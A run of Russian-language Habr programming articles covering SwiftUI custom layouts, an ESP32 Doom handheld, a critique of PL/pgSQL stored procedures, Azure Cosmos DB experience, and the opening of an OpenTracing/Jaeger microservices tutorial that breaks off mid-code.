proposal: ProposedViewSize(sizes[index])
)
lineHeight = max(lineHeight, sizes[index].height)
lineX += sizes[index].width
}
}
}
```
Как вы можете видеть в примере выше, функция placeSubviews имеет тот же набор параметров, что и sizeThatFits, но также предоставляет нам прямоугольник с границами. Прямоугольник с границами - это место в иерархии вью, которое мы заполним нашими сабвью. Пожалуйста, не стоит полагать, что у него нулевое начало, так как его можно разместить в любом месте экрана; и чтобы идеально разместить свои вью, вам следует использовать свойства minX, minY, maxX, maxY, midX, midY,.
Тип Subviews позволяет нам получить доступ к прокси вью по индексу и использовать его функцию place для размещения вью в определенном положении. Это также позволяет нам перемещать точку привязки вью в соответствии с позицией, которую мы проходим.
```
struct ContentView: View {
var body: some View {
FlowLayout {
ForEach(0..<5) { _ in
Group {
Text("Hello")
.font(.largeTitle)
Text("World")
.font(.title)
Text("!!!")
.font(.title3)
}
.border(Color.red)
}
}
}
}
```
Сегодня мы изучили основы протокола Layout и создали элементарную версию flow layout. Мы продолжим копаться в протоколе Layout в следующих постах, чтобы создавать более гибкие конфигурации. Не стесняйтесь следить за мной в [Twitter](https://twitter.com/mecid) и задавать свои вопросы, связанные с этим постом.
Спасибо за прочтение, увидимся на следующей неделе!
[Оригинал статьи](https://swiftwithmajid.com/2022/11/16/building-custom-layout-in-swiftui-basics/)
*Подписывайся на наши соцсети:*[*Telegram*](https://t.me/swiftbook_news)*/*[*VKontakte*](https://vk.com/swiftbook) *Вступай в открытый чат для iOS-разработчиков:*[*t.me/swiftbook\_chat*](https://zen.yandex.ru/profile/editor/id/62305a2685b4d86601d09326/630e1238f8df182ac8cc30ab/t.me/swiftbook_chat) *Смотри*[*бесплатные уроки по iOS-разработке с нуля*](https://clck.ru/32iWcH) | https://habr.com/ru/post/701864/ | null | ru | null |
# Doom Boy ESP32
Приставка для Doom на ESP32 своими руками на драйвере MCP23017 для кнопок от UncleRus
В ожидании [Doom часов](https://habr.com/ru/post/494748/) пришла плата давнего проекта. На плате разведено внешние MCP23017 и CS4344 и еще много чего
Для кнопок используется расширитель портов MCP23017 подключенный по I2C. Для него есть драйвер который можно взять у [UncleRus](https://github.com/UncleRus/esp-idf-lib).
Сделана попытка запуска внешнего АЦП CS4344.
### Doom от Espressif
Скачав порт Дум пришлось немного повозится чтобы его собрать. В конечном итоге все собралось и залилиось в ESP32 но… я поймал крэш на старте. На githab Issue проекта увидел аналогичное обсуждение проблемы:
Автор порта предлагал сделать
> You probably need to use the malloc() option as well as reserve some memory for DMA. I'll see if I can get this compiling on master and update the sdkconfig when I have time.
В общем я «недолго думая» заменил все портированые функции выделения памяти на malloc()
Демка запустилась. Впереди меня ждало подключение кнопок
### MCP23017 GPIO extender
[MCP23017](http://ww1.microchip.com/downloads/en/DeviceDoc/20001952C.pdf)
С большими планами на расширения функционала посредством портов контроллера, решил немного сэкономить на портах ввода вывода самого микроконтроллера, поставив MCP23017. Это простой расширитель с доступом к сигналам ввода вывода через интерфейс I2C. Я не изобретал драйвер, а просто взял его у [UncleRus](https://github.com/UncleRus/esp-idf-lib).
Пять кнопок использует джойстик для навигации. Пару кнопок на выстрел и выбор меню. На самом деле этого недостаточно, надо еще открывать двери и двигаться влево-вправо без поворота то есть как краб. Выводы подтянуты внутри MCP23017 к VDD. Контакт замыкается на землю. Очень круто что внутри микросхемы есть резисторы подтяжки. Можно было бы еще заморочится с прерываниями от MCP23017. В ней есть два вывода на каждый порт INTA и INTB, но как нибудь в другой раз.
**Полный список команд**
```
static const JsKeyMap keymap[]={
{0x10, &key_up},
{0x40, &key_down},
{0x80, &key_left},
{0x20, &key_right},
{0x4000, &key_use}, //cross
{0x2000, &key_fire}, //circle
{0x2000, &key_menu_enter}, //circle
{0x8000, &key_pause}, //square
{0x1000, &key_weapontoggle}, //triangle
{0x8, &key_escape}, //start
{0x1, &key_map}, //select
{0x400, &key_strafeleft}, //L1
{0x100, &key_speed}, //L2
{0x800, &key_straferight}, //R1
{0x200, &key_strafe}, //R2
{0, NULL},
};
```
[Впилить обработку кнопок](https://github.com/app-z/esp32-doom/blob/master/components/prboom-esp32-compat/gamepad.c) оказалось проще чем я думал. Я снизил частоту I2С для улучшения стабильности. Во всяком случае на заявленных 1MHz не пошло. Частоты 100kHz оказалось вполне достаточно для опроса в цикле с задержкой 20ms.
### CMake
Убил кучу времени на дописывание CMakeList.txt для компонентов. Что-то не работало с make. И хотелось взять посвежее SDK. Изначальный порт не собирался даже на 3.2.x. Взял esp-idf-v3.3.1 возможно будет работать и на esp-idf-4.0
### Звук через ЦАП
На самом деле есть еще один [форк](https://www.youtube.com/watch?v=y6PP_IBbOTY&t=4s). Он отличается подключенной SD-CARD и звуком через встроенный DAC. Первоначальный порт от Espressif позволяет грузить wad файл только во внутреннюю Flash память программ и то надо использовать порезанный файл в котором нет звука!
[Схема тут](https://drive.google.com/file/d/1Blsr6tle2YdGhFHDwvqY-jP0K5PJvhB1/view)
Идея подключить вместо встроенного DAC внешний меня захватила. Хотя бы и самый копеечный от Cirrus Logic
Дальше я настроил DAC на CS4344 и тут меня ждало разочарование. Звук работал с прерываниями. Когда я впиливал в свой проект файл [i\_sound.c](https://github.com/app-z/esp32-doom/blob/master/components/prboom-esp32-compat/i_sound.c) то заметил что один файл dma.h не используется. Как бы ссылка на него есть и сам он есть но все за комментировано. Может я невнимательно смотрел? Но думаю автор тоже заметил, что со звуком что-то не то и пытался устранить. Возможно устранил и не выложил последний коммит. А может на внутренний ЦАП все работает как надо. Однако выводить звук через встроенный ЦАП и на крошечный динамик можно и пренебречь искажениями-прерываниями. Я поигрался битрейтом и в целом по изменению кода. Это ничего не принесло.
И да, по поводу подключения SD-CARD. Изначально Я повесил ее параллельно дисплею по шине SPI, разведя раздельно сигнал выбор чипа CS. Идея провалилась. Провентилировав вопрос [Support SD-SPI bus sharing](https://github.com/espressif/esp-idf/issues/1597) пришел к выводу что не все SD-CARD сделаны одинаково или мои руки не такие прямые. Пришлось распаять ее через адаптер на плату вместо микрофона. Завелось без подтяжек внешними резисторами к VDD.
**Внутренние резисторы справились**
```
gpio_set_pull_mode(PIN_NUM_MOSI, GPIO_PULLUP_ONLY);
gpio_set_pull_mode(PIN_NUM_MISO, GPIO_PULLUP_ONLY);
gpio_set_pull_mode(PIN_NUM_CLK, GPIO_PULLUP_ONLY);
gpio_set_pull_mode(PIN_NUM_CS, GPIO_PULLUP_ONLY);
```
На этом я бросил это занятие и выложил исходники на [GitHub](https://github.com/app-z/esp32-doom).
Надо бы сделать еще одну редакцию печатной платы. Эта никуда не годится!
На видео версия без звука.
И еще у меня приплавился контакт джойстика для поворота когда паял. В общем первый блин комом
UPD
Удалось наладить звук. Рывки присутствуют, но уже не критичные. Изменения в коде:
spi\_lcd.c
`dmamem[x]=heap_caps_malloc(MEM_PER_TRANS*2, MALLOC_CAP_DMA);`
i\_sound.c
`void IRAM_ATTR updateTask(void *arg)
{
// size_t bytesWritten;
while(1)
{
I_UpdateSound();
i2s_write(I2S_NUM_0, mixbuffer, SAMPLECOUNT*SAMPLESIZE, &bytesWritten, portMAX_DELAY);
}
}`
`.dma_buf_count = 2,
.dma_buf_len = 512,`
`xTaskCreatePinnedToCore(&updateTask, "updateTask", 1000, NULL, 7, NULL, 0);` | https://habr.com/ru/post/495700/ | null | ru | null |
# Вред хранимых процедур
[](https://habr.com/ru/company/ruvds/blog/517302/)
В чат подкаста [«Цинковый прод»](https://www.youtube.com/channel/UC6cTShKx3lJWw-EzSr_ZAfw/videos?view=0&sort=p&flow=grid) скинули [статью](https://habr.com/ru/company/lingualeo/blog/515530/) о том, как некие ребята перенесли всю бизнес-логику в хранимые процедуры на языке pl/pgsql. И так как у статьи было много плюсов, то значит, есть люди, а может быть, их даже большинство, которые положительно восприняли такой рефакторинг.
Я не буду растекаться мыслью по древу, а сразу накидаю кучку минусов использования хранимых процедур.
Минусы хранимых процедур
------------------------
### Версионирование
Если в случае с кодом на php вы можете просто переключиться в git на другую ветку и посмотреть, что получилось, то хранимые процедуры нужно еще засунуть в базу. И традиционные миграции тут плохо помогут: если записывать все изменения хранимок как новый CREATE OR REPLACE PROCEDURE, то на кодревью будет ад: всегда новый файл, который непонятно с чем сравнивать. Поэтому придется искать какие-то дополнительные инструменты или писать свой велосипед.
### Сам язык pl/pgsql
Это устаревший процедурный язык из девяностых, который вообще никак не развивается. Никакого ООП или ФП или чего бы то ни было. Синтаксис без малейшего намека на синтаксический сахар.
Например, переменные нужно объявлять в начале процедуры, в специальном блоке DECLARE. Так делали наши деды, в этом есть некая ностальгия по языку Pascal, но спасибо, не в 2020.
Сравните две функции, которые делают одно и то же на php и pl/pgsql:
```
CREATE OR REPLACE FUNCTION sum(x int, y int)
RETURNS int
LANGUAGE plpgsql
AS $$
DECLARE
result int;
BEGIN
result := x + y;
return result;
END;
$$;
```
```
function sum(int $x, int $y): int
{
$result = $x + $y;
return $result;
}
```
Примерно в 2-3 раза больше писанины.
Кроме того, язык интерпретируемый, без JIT и т.д. (поправьте меня, если что-то изменилось в последних версиях). Т.е. все очень медленно и печально. Уж если использовать какие-то хранимки, то на чистом SQL или v8 (т.е. javascript).
### Отладка
Поверьте, отлаживать код на php в 100500 раз проще. Ты просто поправил что-то и смотришь результат. Можно обложить echo или смотреть, что там через xdebug прямо в IDE.
Отладка хранимых процедур — это неудобно. Это надо делать в pgadmin (включив специальное расширение). PgAdmin — это далеко не PHPstorm по удобству.
### Логирование и обработка ошибок
Забудьте о том, чтобы красивый json c трейсом падал с stdout, а потом в graylog и в sentry. И чтобы все это автоматически происходило, выдавая пользователю ошибку 500, в случае если контроллер не поймал exception.
В хранимках pl/pgsql вы всё будете делать вручную:
`GET DIAGNOSTICS stack = PG_CONTEXT;
RAISE NOTICE E'--- Стек вызова ---\n%', stack;`
### Сбор метрик
Вы не можете, как в golang, просто добавить эндпоинт /metrics, который будет подсасываться Прометеусом, куда вы напихаете бизнесовые и другие метрики для мониторинга. Я просто не знаю, как тут выкрутиться с pl/pgsql.
### Масштабирование
Выполнение хранимых процедур тратит ресурсы (например, CPU) сервера базы данных. В случае других языков вы можете вынести логику на другие ноды.
### Зависимости
В php вы, используя пакетный менеджер composer, одним движением можете подтянуть нужную библиотеку из интернета. Точно так же как в js это будет npm, в Rust это будет cargo и т.д.
В мире pl/pgsql нужно страдать. В этом языке просто нет менеджера зависимостей.
### Фреймворки
В современном мире веб-приложение часто не пишут с нуля, а собирают на основе фреймворка, используя его компоненты. К примеру, на Laravel у вас из коробки есть роутинг, валидация запроса, движок шаблонов, аутентификация/авторизация, 100500 хелперов на все случаи жизни и т.д. Писать всё это вручную с нуля, на устаревшем языке — ну нет, спасибо.
Получится много велосипедов, которые потом еще и поддерживать придется.
### Юнит-тесты
Сложно даже представить, как удобно организовать unit-тесты в хранимках на pl/pgsql. Я ни разу не пробовал. Поделитесь пожалуйста в комментариях.
### Рефакторинг
Несмотря на то, что существует IDE для работы с базой данных (Datagrip), для обычных языков средства рефакторинга гораздо богаче. Всевозможные линтеры, подсказки по упрощению кода и т.д.
Маленький пример: в тех кусках кода, которые я привел в начале статьи, PHPStorm дал подсказку, что переменная `$result` необязательна, и можно просто сделать `return $x + $y;`
В случае с plpgsql — тишина.
Плюсы хранимых процедур
-----------------------
1. Нет оверхеда на перегон промежуточных данных по пути бекенд-БД.
2. В хранимых процедурах кешируется план запроса, что может сэкономить пару ms. т.е. как обертка над запросом иногда это имеет смысл делать (в редких случаях и не на pl/pgsql, а на голом sql), если бешеный хайлоад, а сам запрос выполняется быстро.
3. Когда пишешь свой extension к посгресу — без хранимок не обойтись.
4. Когда хочешь из соображений безопасности спрятать какие-то данные, дав доступ приложению только к одной-двум хранимкам (редкий кейс).
Выводы
------
На мой взгляд, хранимые процедуры нужны только в очень-очень редких случаях, когда вы уверены, что вы без них вообще не можете обойтись. В остальных кейсах — вы только усложните жизнь разработчикам, причем существенно.
Я бы понял, если в исходной статье часть логики переложили на SQL, это можно понять. Но зачем хранимки — это загадка.
Буду рад, если вы считаете, что я неправ или знаете, какие-то еще ситуации, связанные с хранимыми процедурами (как плюсы, так и минусы), и напишете об этом в коменты.
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=antoko&utm_content=vredprocedur#order) | https://habr.com/ru/post/517302/ | null | ru | null |
# База данных в коммерческом проекте: как поступить?
Всех с окончанием праздников!… Некоторые скажут, что это поздравление — так себе. Но, наверняка, у многих скоро отпуск, так что поднажмите еще немного. Ну а мы не сдаем обороты и в этот теплый день делимся опытом наших партнеров. Речь пойдет об оптимизации работы с базой данных. Подробнее под катом!
*Передаю слово автору.*
Приветствуем вас, читатели Хабра! Мы команда [WaveAccess](http://www.waveaccess.ru/), в этой статье поделимся с вами опытом применения службы баз данных (БД) Azure Cosmos DB в коммерческом проекте. Расскажем, для чего предназначена БД, и нюансы, с которыми нам пришлось столкнуться во время разработки.
Что такое Azure Cosmos DB
-------------------------
Azure Cosmos DB — это коммерческая глобально-распределенная служба база данных с мульти-модельной парадигмой, предоставляется как PaaS решение. Она является следующим поколением Azure DocumentDB.
База данных была разработана в 2017 г. в корпорации Microsoft при участии доктора компьютерных наук Лесли Лэмпорт (лауреата Премии Тьюринга 2013 г. за фундаментальный вклад в теорию распределенных систем, разработчик LaTex, создателя спецификации TLA+).
Главные характеристики Azure Cosmos DB это:
* Нереляционная база данных;
* Документы в ней хранятся в виде JSON;
* Горизонтальное масштабирование с возможностью выбора географических регионов;
* Мульти-модельная парадигма данных: ключ-значение, документное, графовое, семейство столбцов;
* Низкая задержка для 99% запросов: менее 10 мс для операций чтения и менее 15 мс для (индексированных) операций записи;
* Спроектирована для высокой пропускной способности;
* Гарантирует доступность, согласованность данных, задержку на уровне SLA 99,999%;
* Настраиваемая пропускная способность;
* Автоматическая репликация (master-slave);
* Автоматическое индексирование данных;
* Настраиваемые уровни согласованности данных. [5 различных уровней](https://docs.microsoft.com/ru-ru/azure/cosmos-db/consistency-levels) (Strong, Bounded Staleness, Session, Consistent Prefix, Eventual);
На графике можно видеть зависимость различных уровней согласованности от доступности, производительности и согласованности данных.
* Для удобного перехода на Cosmos DB со своей базы данных предусмотрено множество API для доступа к данным: SQL, JavaScript, Gremlin, MongoDB, Cassandra, Azure Blob;
* Настраиваемый брандмауэр;
* Настраиваемый размер БД.
Задача, которую мы решали
-------------------------
Тысячи датчиков, расположенные по всему миру, передают информацию (в дальнейшем нотификации) каждые несколько N-секунд. Эти нотификации должны сохраняться в БД, а в дальнейшем осуществляться поиск по ним и их отображение в UI оператора системы.
Требования от заказчика:
* Использование стек технологий Microsoft, в том числе облако Azure;
* Пропускная способность 100 запросов в секунду;
* Нотификации не имеют четкой структуры и могли в дальнейшем расширяться;
* Для критических нотификаций важна скорость обработки;
* Высокая отказоустойчивость системы.
Исходя из требований заказчика нам идеально подошла нереляционная, глобально-распределенная, надежная коммерческая БД.
Если рассмотреть похожие на Cosmos DB базы данных, то можно вспомнить об Amazon DynamoDB, Google Cloud Spanner. Но Amazon DynamoDB не является глобально-распределенной, а Google Cloud Spanner имеет меньше уровней согласованности и видов моделей данных (только табличное представление, реляционное).
По этим причинам мы остановились на Azure Cosmos DB. Для взаимодействия с БД [использовали Azure Cosmos DB SDK для .NET](https://docs.microsoft.com/ru-ru/azure/cosmos-db/sql-api-sdk-dotnet), так как бэкенд был написан на .NET.
Нюансы, с которыми мы столкнулись
---------------------------------
**1. Управление базой данных**
Для того, чтобы начать пользоваться базой данных, в первую очередь нужно выбрать инструмент для управления ей. Мы использовали Azure Cosmos DB Data Explorer в портале Azure и [DocumentDbExplorer](https://github.com/sachabruttin/DocumentDbExplorer). Также существует утилита Azure Storage Explorer.
**2. Настройка коллекций БД**
В Cosmos DB каждая БД состоит из коллекций и документов.
Настраиваемые характеристики коллекции, на которые следует обратить внимание:
* Размер коллекции: фиксированная или неограниченная;
* Пропускная способность в единиц запросов в секунду RU/s (от 400 RU/s);
* Политика индексации (включение или исключение документов и путей к индексу и из него, настройка различных типов индекса, настройка режимов обновления индекса).
Пример типичного индекса
```
{
"id": "datas",
"indexingPolicy": {
"indexingMode": "consistent",
"automatic": true,
"includedPaths": [
{
"path": "/*",
"indexes": [
{
"kind": "Range",
"dataType": "Number",
"precision": -1
},
{
"kind": "Hash",
"dataType": "String"
},
{
"kind": "Spatial",
"dataType": "Point"
}
]
}
],
"excludedPaths": []
}
}
```
Чтобы работал поиск по подстроке, для строковых полей нужно использовать Hash-индекс («kind»: «Hash»).
**3. Транзакции БД**
Транзакции реализованы в БД на уровне хранимых процедур (выполнение хранимой процедуры — это атомарная операция). Хранимые процедуры пишутся на JavaScript
```
var helloWorldStoredProc = {
id: "helloWorld",
body: function () {
var context = getContext();
var response = context.getResponse();
response.setBody("Hello, World");
}
}
```
**4. Канал изменений БД**
[Change Feed](https://docs.microsoft.com/ru-ru/azure/cosmos-db/change-feed) (канал изменений) прослушивает изменения в коллекции. Когда происходят изменения документов коллекции, то БД «выкидывает» событие об изменениях всем подписчикам этого канала.
Мы использовали Change Feed для отслеживания изменений коллекции. При создании канала нужно предварительно создать вспомогательную коллекцию [AUX](https://docs.microsoft.com/en-us/dotnet/api/microsoft.azure.documents.changefeedprocessor.changefeedeventhost.-ctor?view=azure-dotnet#Microsoft_Azure_Documents_ChangeFeedProcessor_ChangeFeedEventHost__ctor_System_String_Microsoft_Azure_Documents_ChangeFeedProcessor_DocumentCollectionInfo_Microsoft_Azure_Documents_ChangeFeedProcessor_DocumentCollectionInfo_), которая координирует обработку канала изменений для нескольких рабочих ролей.
**5. Ограничения БД:**
* Отсутствие bulk-операций (использовали хранимые процедуры для [массового удаления](https://github.com/Azure/azure-documentdb-js-server/blob/master/samples/stored-procedures/bulkDelete.js), обновления документов);
* Отсутствие частичного обновления документа;
* Нет операции SKIP (сложность реализации пагинации). Чтобы реализовать пагинацию в запросах получения нотификаций мы использовали параметры [RequestContinuation](https://docs.microsoft.com/en-us/dotnet/api/microsoft.azure.documents.client.feedoptions.requestcontinuation?view=azure-dotnet#Microsoft_Azure_Documents_Client_FeedOptions_RequestContinuation) (ссылка на последний элемент в результате выдачи) и [MaxItemCount](https://docs.microsoft.com/en-us/dotnet/api/microsoft.azure.documents.client.feedoptions.maxitemcount?view=azure-dotnet) (количество элементов возвращаемой из БД). По умолчанию результаты возвращаются в пакетах (не более 100 элементов и не более 1 МБ в каждом пакете). Количество возвращаемых элементов можно увеличить до 1000 с помощью параметра MaxItemCount.
**6. Обработка 429-ой ошибки БД**
Когда пропускная способность коллекции достигает максимума, то база данных начинает выдавать ошибку “429 Too Many Request”. Для ее обработки можно воспользоваться настройкой [RetryOptions](https://docs.microsoft.com/en-us/dotnet/api/microsoft.azure.documents.client.retryoptions) в SDK, где MaxRetryAttemptsOnThrottledRequests — это количество попыток выполнения запроса, а MaxRetryWaitTimeInSeconds — это суммарное время выполнения попыток подключения.
**7. Прогноз стоимости использования БД**
Чтобы спрогнозировать стоимость использования базы данных, мы использовали [онлайн-калькулятор](https://www.documentdb.com/capacityplanner) RU/s. В базовом плане одна единица запроса для элемента размером 1 КБ соответствует простой команде GET по ссылке на себя или идентификатору этого элемента.
Выводы
------
Azure Cosmos DB удобна в использовании, легко и гибко настраивается через портал Azure. Множество API для доступа к данным позволяют быстро осуществить переход на Сosmos DB. Не нужно привлекать администратора баз данных для обслуживания базы данных. Финансовые гарантии SLA, глобальное горизонтальное масштабирование делают эту базу данных очень привлекательной на рынке. Она подходит для использования в корпоративных и глобальных приложениях, которые предъявляют высокие требования к отказоустойчивости и пропускной способности. Мы в WaveAccess продолжаем использовать Cosmos DB в наших проектах.
Об авторе
---------
Команда [WaveAccess](http://www.waveaccess.ru/) создаёт технически сложное высоконагруженное отказоустойчивое ПО для компаний всего мира. [Александр Азаров](https://habrahabr.ru/users/Alexazspb/), старший вице-президент по разработке ПО в WaveAccess, комментирует:
> Сложные на первый взгляд задачи можно решить сравнительно простыми методами. Важно не только изучать новые инструменты, но и доводить до совершенства знание привычных технологий.
[Блог компании](http://www.waveaccess.ru/blog.aspx) | https://habr.com/ru/post/413757/ | null | ru | null |
# Диагностируем проблемы в микросервисной архитектуре на Node.js с помощью OpenTracing и Jaeger
Всем привет! В современном мире крайне важна возможность масштабировать приложение по щелчку пальцев, ведь нагрузка на приложение может сильно отличаться в разное время. Наплыв клиентов, которые решили воспользоваться вашим сервисом, может принести как большую прибыль так и убытки. Разбиение приложения на отдельные сервисы решает проблемы с масштабированием, всегда можно добавить инстансов нагруженных сервисов. Это несомненно поможет справиться с нагрузкой и сервис не упадет от нахлынувших на него клиентов. Но микросервисы вместе с неоспоримой пользой, вносят и более сложную структуру приложения, а так же запутанность в их взаимосвязях. Что если даже успешно масштабировав свой сервис, проблемы продолжаются? Время ответа растет и ошибок становится все больше? Как понять, где именно проблема? Ведь каждый запрос к API может порождать за собой цепочку вызовов разных микросервисов, получение данных из нескольких БД и сторонних API. Может это проблема с сетью, или API вашего партнера не справляется с нагрузкой, а может это кеш виноват? В этой статье я постараюсь рассказать, как ответить на эти вопросы и быстро найти точку отказа. Добро пожаловать под кат.
Чтобы быстро определить точку отказа и решить проблему, необходимо собрать метрики прохождения каждого этапа запроса. Для решения этой задачи можно воспользоваться спецификацией [OpenTracing](https://opentracing.io/). Этот инструмент описывает основные принципы и модели данных для работы с трассировками в распределенных системах, но не предоставляет реализации. В данной статье мы воспользуемся имплементацией для JavaScript, и будем писать примеры на TypeScript. Но для того, чтобы перейти к практике, необходимо разобраться с теорией.
Теория
------
Основными понятиями в спецификации OpenTracing являются Trace, Span, SpanContext, Carrier, Tracer.
* **Trace**. Это временной интервал, в течение которого выполнялся один или несколько Span'ов, связанных между собой одним идентификатором traceId. Span'ы так же могут быть связаны между собой ссылками двух оcновных типов. **ChildOf** это обычная связь родитель — потомок. Она говорит о том, что для завершения родительского span'a требуется завершение дочернего. Связь **FollowsFrom** говорит лишь о том, что родительский span запустил другой span, но на завершение текущего он не влияет.
* **Span**. Это основная и минимальная единица информации в спецификации OpenTracing. Span описывает интервал во времени, в котором происходила работа. Например, вызов функции, которая делает запрос в БД за данными, можно описать как span, сохранив в нем необходимую информацию. Span создается с помощью конкретной реализации OpenTracing, которая называется Tracer (об этом чуть позже). При создании интервала обязательным полем является имя (например название функции), также неявно в Span записывается timestamp создания интервала и идентификатор spanId. Каждый интервал содержит traceId, если span является дочерним, то в него записывается traceId родительского интервала, если родительского spana'а нет, генерируется новый. Когда функция завершила свою работы, у объекта span мы должны вызвать метод finish. Этот метод запишет в Span timestamp завершения работы, а так же отправит получившийся span в Трассировщик (если это предусмотренно конкретной реализацией). В span можно добавлять Теги или Логи, которые являются объектами типа key:value. Ключи, этих объектов, могут обладать семантическими свойствами, которые описаны в [соглашении](https://github.com/opentracing/specification/blob/master/semantic_conventions.md) OpenTracing. Например, если во время выполнения функции возникла ошибка, то к Span'у, который описывает эту функцию, можно добавить тег error: true. Обработка таких тегов, описанных в спецификации, может быть реализована в трейсере, который вы используете. Отличием логов, добавленных к интервалу, является то, что вместе с логом добавляется и timestamp лога. То есть это конкретная временная точка между стартом span'a и его завершением. У обычного тега нет этой метки.
* **SpanContext**. Это объект, описанный в спецификации OpenTracing, который содержит информацию, необходимую для связывания span'ов между собой при межсервисном взаимодействии. Контекст содержит идентификаторы traceId, spanId, а также любую информацию вида key:value, которую мы хотим передавать между микросервисами. В терминологии OpenTracing эта информация называется **baggage**. Если мы создаём новый интервал, но этот интервал дочерний по отношению к другому. Создав SpanContext, мы можем передать его новому span'у, указав его как родителя. За счет этого новый интервал получит ссылку на свой родительский span.
* **Carrier**. Этот простой объект типа key:value содержит информацию, с помощью которой можно создать SpanContext. Carrier можно создать с помощью реализации tracer. В спецификации OpenTracing описаны два типа этого объекта. Первый — это **FORMAT\_TEXT\_MAP**, простой объект типа key:value. Полученный объект можно передавать вместе с запросом к другому сервису. Второй **FORMAT\_BINARY** трансформирует контекст в бинарный вид. Это минимальный набор, который должен реализовать tracer. Есть и другие форматы преобразования контекста, например **FORMAT\_HTTP\_HEADERS**, который сериализует контекст в объект заголовков для передачи по http.
* **Tracer**. Это конкретная имплементация спецификации OpenTracing, которая непосредственно предоставляет методы по созданию span'ов, генерации идентификаторов, создания контекстов и отправку завершенных интервалов на хранение в трассировщик (distributed tracing system) например **Jaeger** или **Elastic APM**. Tracer реализует два метода, с помощью которых мы можем преобразовывать объект контекста в carrier для передачи между сервисами. Это **inject** и **extract**
Extract принимает первым аргументом тип carrier'a, вторым сам carrier и возвращает объект контекста. Inject получает первым аргументом SpanContext, вторым тип желаемого объекта carrier и третьим пустой объект, в который будет добавлена вся необходимая информация из контекста, для дальнейшей передачи между сервисами. За счет работы этих функций мы можем связывать наши сервисы в единый трейс, состоящий из связанных между собой span'ов.
Используемые технологии
-----------------------
Для того, чтобы показать как это работает на практике, я напишу небольшой тестовый пример на typescript состоящий из трех микросервисов. Микросервисы будут общаться между собой через брокер [NATS](https://nats.io/), а полученные трассировки будем отправлять в [Jaeger](https://www.jaegertracing.io/).
### NATS
Это быстрый, легкий и производительный брокер, написанный на golang. Через этот брокер можно реализовать две основные схемы взаимодействия микросервисов это **Publish-Subscribe** для асинхронных операций и **Request-Reply** для синхронных. NATS работает по простому текстовому протоколу, что упрощает разработку, а также предоставляет много разных полезных функций, таких как балансировку нагрузки и мониторинг подключенных сервисов. В тестовом проекте я буду использовать NATS как транспорт между сервисами, но в конечном счете для сбора трассировок транспорт не будет играть особой роли, это будет видно из примера. Для запуска проекта на локальной машине потребуется запустить NATS, что можно сделать с помощью Docker.
```
docker run -d --name nats -p 4222:4222 -p 6222:6222 -p 8222:8222 nats
```
### Jaeger
Это система хранения и анализа трассировок, созданная и выпущенная в opensource компанией Uber. Jaeger предоставляет удобный интерфейс для анализа трассировок, а так же возможность отображать трассировки в виде графа зависимостей как отдельного метода, так и системы в целом, что можно использовать для самодокументирования системы в целом. В качестве хранилища трассировок Jaeger может использовать **Cassandra**, **Elasticsearch** а также просто хранить трейсы в памяти, что удобно для тестов. При большом количестве трассировок можно использовать **Kafka**, как буфер между коллектором, в который прилетают span'ы, и хранилищем. Также в библиотеках, реализующих трейсер Jaeger, можно настроить сэмплирование трейсов. Поддерживается несколько видов сэмплирования:
* **Const**. Эта стратегия подойдет, если нужно хранить каждый трейс (если передать значение 1) или не сохранять ни один (значение 0)
* **Probabilistic**. Значение этой стратегии говорит о том, какой процент трейсов Jaeger будет сохранять. Трейсы выбираются случайным образом. Например, при значении 0.1 будет сохранен только 1 трейс из 10.
* **Rate Limiting**. Эта стратегия позволяет сохранять определенное значение полученных трейсов за секунду.
* **Remote**. Стратегия говорит о том, что решение о сохранении трейса будет приниматься на стороне бэкенда Jaeger'a. Что позволяет гибко настраивать сэмплирование, не меняя настроек трейсера в коде приложения.
Для запуска тестового примера локально, также потребуется запустить Jaeger, например, с помощью Docker
```
docker run -d --name jaeger \
-e COLLECTOR_ZIPKIN_HTTP_PORT=9411 \
-p 5775:5775/udp \
-p 6831:6831/udp \
-p 6832:6832/udp \
-p 5778:5778 \
-p 16686:16686 \
-p 14268:14268 \
-p 9411:9411 \
jaegertracing/all-in-one:1.8
```
Реализуем сбор трассировок
--------------------------
Напишем небольшой тестовый проект, что бы посмотреть как работает теория на практике. Приложение будет обрабатывать один пользовательский запрос по http. В ответ на get запрос по руту /devices/:regionId будет возвращаться json с данными, которые будут собраны из нескольких сервисов. Общая архитектура приложения такая.
Все три микросервиса подключены к NATS. Единственный endpoint приложения отвечает за получение массива подключенных устройств, доступных в регионе, с информацией о пользователе этого устройства. После того, как запрос за устройствами пришел в http шлюз, микросервис api через NATS вызывает метод получения данныx из микросервиса devices. Микросервис devices для получения данных делает запрос в БД (например, mongodb), за объектами подключенных устройств, затем по количеству полученных устройств делает параллельнные запросы в другую БД (например redis) за получением геолокации каждого устройства. Далее микросервис devices передаёт массив id устройств в микросервис users для получения подробной информации о владельцах устройств. После получения массива пользователей данные агрегируются и возвращаются в api. Это выдуманный тестовый пример, но он хорошо продемонстрирует полезность сбора трассировок из подобных распределенных систем.
Для начала опишем основные интерфейсы данных, с которыми будем работать
```
// Координаты устройства
export interface Location {
lat: number;
lng: number;
}
export interface Device {
id: string;
regionId: string;
userId: string;
connected: boolean;
}
export interface User {
id: string;
name: string;
address: string;
}
// Результат работы приложения
export interface ConnectedDevice extends Device {
user: User;
connected: true;
location: Location;
}
```
У микросервиса devices и users будет по одному методу
```
export const UsersMethods = {
getByIds: 'users.getByIds',
};
export const DevicesMethods = {
getByRegion: 'devices.getByRegion',
};
```
Теперь напишем класс транспорта, который будет реализовывать подключение к NATS, а также два метода **publish** и **subscribe**. С помощью этих методов можно отправить данные подписчику по определенной теме и подписаться на них соответственно.
```
import * as Nats from 'nats';
import * as uuid from 'uuid';
export class Transport {
private _client: Nats.Client;
public async connect() {
return new Promise(resolve => {
this._client = Nats.connect({
url: process.env.NATS_URL || 'nats://localhost:4222',
json: true,
});
this._client.on('error', error => {
console.error(error);
process.exit(1);
});
this._client.on('connect', () => {
console.info('Connected to NATS');
resolve();
});
});
}
public async disconnect() {
this._client.close();
}
public async publish(subject: string, data: Request): Promise {
const replyId = uuid.v4();
return new Promise(resolve => {
this.\_client.publish(subject, data, replyId);
const sid = this.\_client.subscribe(replyId, (response: Response) => {
resolve(response);
this.\_client.unsubscribe(sid);
});
});
}
public async subscribe(subject: string, handler: (msg: Request) => Promise) {
this.\_client.subscribe(subject, async (msg: Request, replyId: string) => {
const result = await handler(msg);
this.\_client.publish(replyId, result);
});
}
}
```
Для создания http api будем использовать express. В index файле api нам нужно создать экземпляр класса Transport, через него мы будем вызвать метод микросервиса devices.
```
(async () => {
const transport = new Transport();
const port = 5000;
await transport.connect();
